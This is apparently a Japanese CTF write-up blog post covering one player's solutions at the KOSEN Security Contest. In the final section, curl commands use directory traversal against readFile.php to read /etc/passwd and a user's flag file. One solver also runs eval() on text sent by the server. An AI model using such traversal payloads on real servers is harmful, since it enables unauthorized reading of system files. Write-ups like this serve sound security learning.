概要
11月14日にオンライン開催で行われた高専セキュリティ・コンテスト(高専セキュコン、#sckosen)に参加しました。チーム名は「面倒なことをPythonに任せたらPythonが人類を超えた回」で、結果はスコア2560で51チーム中11位でした。この記事では、僕が担当した問題について書ける範囲で解説します。
練習問題 (10 pts)
練習用のフラグ。問題文のフラグをコピー&ペースト。
フラグは忘れました。
足し算しよう(50 pts)
1000から10000までを足した数がフラグ。C言語でときました。
#include <stdio.h>
int main(void) {
int n = 1000;
int sum = 0;
while (n <= 10000) {
sum += n:
n++;
}
printf("FLAG{%d}", sum);
return 0;
}
フラグは FLAG{49505500} 。
おいしく焼けました (100 pts)
「${N}枚クッキーが焼けました」と表示がされるWebサイト。
アクセスするたびに表示される数字が1ずつ増えました。
cookie上に設定されたvisitedという値が1ずつ増え、表示に関係していそうだったため、curlで大きい値を設定してみると10e^19にしろというヒントを貰いました。
curl -i -b "visited=10000000000000000000" http://52.175.155.247:8088/cookie.php
フラグは忘れました。
熱血計算塾 (50 pts)
足し算や引き算の問題をいっぱい出してくれるサーバ。
運営から配布された auto_calc_sample_v3.py に、与えられた式を計算する処理を追加しました。
#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import decimal
import re
import time
def netcat(hostname, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((hostname, port))
nop = re.compile("ok",re.IGNORECASE)
while 1:
data = s.recv(1024)
if data == "":
continue
if data.decode('utf-8').strip() == "Let's solve a simple math problem.Please hit Enter key":
s.sendall(bytes("\n", "utf-8"))
elif nop.search(data.decode('utf-8')):
print (data.decode('utf-8'))
pass
else:
#data 変数に、サーバから送られてくる問題文が含まれる
print (data.decode('utf-8'))
try:
#ここに計算する処理を記述する
print(data.decode('utf-8')[:-2])
answer = eval(data.decode('utf-8')[:-2])
#answer = 計算結果をanswer変数に格納して、answer の値をサーバに送る
print (answer)
s.sendall(bytes(str(answer) + "\n","utf-8"))
except:
print ("flag?\n")
break
shutdown(s)
def shutdown(s):
print ("Connection closed.")
s.shutdown(socket.SHUT_WR)
s.close()
if __name__ == '__main__':
netcat("52.175.155.247", 5555)
値段の比較はお手の物 (200 pts)
15秒でリロードされてしまうWebサイトで、商品一覧から条件にあった商品名を見つけて150回解答し続ける問題。条件や商品一覧の表はリロードする度に変わり、ミスすると最初からやり直しになります。
条件は 「${N}番目に{高, 安}い商品」、「最{高, 安}値の商品」というように記述されています。
画面から商品データを読み取り、自動で解答フォームに名前をセットし送信するスクリプトをJavaScriptで書き、開発者ツールのコンソールで手動実行し続けました。(150回)
商品名と価格を入れたオブジェクトを配列にプッシュしていき、価格でソートしてN番目を抽出し、その商品名をフォームに入力しました。
条件文に「高」の文字があるかどうかでソートが降順か昇順かを決めました。「最」の字が含まれていた場合Nは1としました。
150回繰り返すのはチームメイトにも手伝ってもらいました。自動化したかったけど思いつきませんでした・・・。
n = -1
high = false;
prices = []
n = Number(document.getElementById("message").innerText.split("番")[0]);
if (document.getElementById("message").innerText.split("高").length > 1)
high = true;
else {
high = false;
}
if (document.getElementById("message").innerText.split("最").length > 1)
n = 1;
for (let i = 0; i < document.getElementsByName("price").length; i++) {
let p = Number(document.getElementsByName("price")[i].innerText.split(":")[1].split("円")[0])
let item = document.getElementsByName("item")[i].innerHTML.split("<br>")[1];
prices.push({item: item, p: p});
}
function compare(a,b) {
let comp = 0;
if (a.p > b.p) {
comp = 1;
} else if (a.p < b.p) {
comp = -1;
}
if (high)
return -1*comp;
else
return comp;
}
prices.sort(compare);
document.getElementById("name").value = prices[n-1].item;
document.getElementsByTagName("button")[0].click();
フラグは FLAG{けんじつなありのさんもわすれないでね}
15game (200 pts)
1から交互に1つ〜3つずつ番号を数えていき、「15」と言ったほうが負け、という「15game」を拡張した、「交互にa個ずつ数えNと言ったほうが負け」というルールで対戦するプログラムを作る問題。
チームメイトに教えてもらった以下のサイトを参考にし、Pythonプログラムを書きました。
https://ameblo.jp/ben-joh/entry-11307463378.html
#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import decimal
import re
import time
def netcat(hostname, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((hostname, port))
badnum = -1
once = -1
say_min = -1
say_max = -1
while 1:
data = s.recv(1024)
if data.decode('utf-8')[0] == "#":
once = int(data.decode('utf-8').split("\n")[2].split(" ")[2])
badnum = int(data.decode('utf-8').split("\n")[3].split(" ")[2])
print(once, badnum)
say_min = 1
say_max = (badnum-1)%(once+1)
answer = "{}:{}".format(say_min, say_max)
print (answer)
s.sendall(bytes(str(answer) + "\n","utf-8"))
if data.decode('utf-8')[0:9] == "My turn":
enemy_min = int(data.decode('utf-8').split("\n")[0].split(": ")[1].split(":")[0])
enemy_max = int(data.decode('utf-8').split("\n")[0].split(": ")[1].split(":")[1])
print(enemy_min, enemy_max)
say_min = enemy_max + 1
say_max = say_min + once - (enemy_max-enemy_min+1)
answer = "{}:{}".format(say_min, say_max)
print (answer)
s.sendall(bytes(str(answer) + "\n","utf-8"))
shutdown(s)
def shutdown(s):
print ("Connection closed.")
s.shutdown(socket.SHUT_WR)
s.close()
if __name__ == '__main__':
netcat("52.175.155.247", 10001)
フラグは忘れました。
デバッガ (200 pts)
拡張子exeのWindows用実行ファイルを実行する問題。
僕はGNU/LinuxしかOSを持っていないため、wineをインストールして実行しました。するとフラグが出力されました。Windowsであればただ実行するだけではフラグが出力されない?(未確認)
wine checker.exe
出力は以下
=====================================================================
Welcome!!!
If you resolved this problem, the flag will be output...
=====================================================================
FLAG{hXT57e8j}
フラグは FLAG{hXT57e8j} 。
PHP Beginner Practice 1 (200 pts)
脆弱性を利用しサーバ上のユーザのホームディレクトリにあるフラグファイルを取得する問題。
公開されているWebページreadFile.phpはPHPで書かれて、POSTしたデータを元にファイルを読み込み表示しているようです。ディレクトリトラバーサルの脆弱性が使えそうなので以下を実行しユーザ一覧をみました。
curl -X POST -F "file=../../../../etc/passwd" http://52.175.155.247:8103/readFile.php
そして見つけたユーザのホームディレクトリの user.txt にアクセスし、フラグをGETしました。
curl -i -X POST -F "file=../../../../home/dachshund/user.txt" http://52.175.155.247:8103/readFile.php
フラグは忘れました。
感想
KOSENセキュリティ・コンテストへ初めて参加しました。楽しんで問題を解け、参加してよかったなあと思いました。チームメイトと助け合ってすすめられた点も良い経験となりました。今後もCTFを続けていきたいです。
更新
- 作成:2020年11月15日